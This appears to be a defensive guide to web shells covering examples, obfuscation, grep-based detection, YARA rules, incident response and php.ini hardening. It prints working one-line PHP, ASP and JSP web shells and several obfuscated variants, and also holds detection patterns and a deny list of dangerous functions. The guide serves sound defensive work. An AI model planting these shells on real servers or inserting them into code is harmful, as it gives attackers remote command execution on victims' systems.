Key Takeaways

  • Web shells provide persistent backdoor access
  • Obfuscation makes detection challenging
  • File integrity monitoring is essential
  • YARA rules help detect known patterns

1. What are Web Shells?

A web shell is a script uploaded to a web server that provides remote access and control. Attackers use web shells to maintain persistence, execute commands, and pivot deeper into networks.

2. Common Web Shell Types

Simple PHP Web Shell
<?php system($_GET['cmd']); ?>
// Usage: shell.php?cmd=whoami

<?php eval($_POST['code']); ?>
// Execute arbitrary PHP code

<?php passthru($_REQUEST['c']); ?>
ASP/ASPX Web Shells
<% eval request("cmd") %>

<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start(Request["cmd"]); %>
JSP Web Shells
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Feature-Rich Shells

3. Obfuscation Techniques

// Base64 encoding
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>

// String concatenation
<?php $a='sys'.'tem'; $a($_GET['cmd']); ?>

// Variable functions
<?php $f='system'; $f($_GET['c']); ?>

// Hex encoding
<?php $f="\x73\x79\x73\x74\x65\x6d"; $f($_GET['c']); ?>

// Gzip compression
<?php eval(gzinflate(base64_decode("..."))); ?>

// Preg_replace with /e modifier (deprecated)
<?php preg_replace('/.*/e', $_POST['code'], ''); ?>

4. Common Upload Vectors

5. Detection Methods

Detection Techniques
# Search for dangerous PHP functions
grep -rn "eval\|system\|passthru\|shell_exec\|exec\|base64_decode" /var/www/

# Find recently modified files
find /var/www -type f -mtime -7 -name "*.php"

# Files with suspicious permissions
find /var/www -type f -perm /o+w

# Large encoded strings
grep -rn "base64_decode" /var/www/ | grep -E ".{500,}"

# Web server logs analysis
grep -E "cmd=|c=|exec|shell" access.log

6. YARA Rules for Web Shells

rule PHP_WebShell_Generic {
    meta:
        description = "Detects generic PHP web shells"
    strings:
        $f1 = "eval(" nocase
        $f2 = "base64_decode" nocase
        $f3 = "system(" nocase
        $f4 = "shell_exec(" nocase
        $f5 = "passthru(" nocase
        $f6 = "$_GET[" nocase
        $f7 = "$_POST[" nocase
        $f8 = "$_REQUEST[" nocase
    condition:
        (any of ($f1,$f2,$f3,$f4,$f5)) and (any of ($f6,$f7,$f8))
}

rule Known_WebShell_C99 {
    strings:
        $a = "c99shell"
        $b = "c99_buff_prepare"
    condition:
        any of them
}

7. Incident Response

  1. Isolate: Take server offline if possible
  2. Preserve: Image the system, copy logs
  3. Identify: Find all web shells (may be multiple)
  4. Analyze: Determine upload vector
  5. Eradicate: Remove shells, patch vulnerability
  6. Monitor: Watch for reinfection

8. Prevention

Prevention Checklist
  • ✅ File integrity monitoring (OSSEC, Tripwire)
  • ✅ Restrict file upload types and locations
  • ✅ Disable dangerous PHP functions in php.ini
  • ✅ Web Application Firewall (WAF)
  • ✅ Regular vulnerability scanning
  • ✅ Least privilege file permissions
  • ✅ Keep CMS and plugins updated
; php.ini - Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

FAQ

How do attackers hide web shells?
Encoding (base64, gzip), obfuscation, hidden in legitimate files, deep in directory structures, using legitimate-looking filenames (wp-config.bak.php).

Malware Analysis Incident Response XSS Guide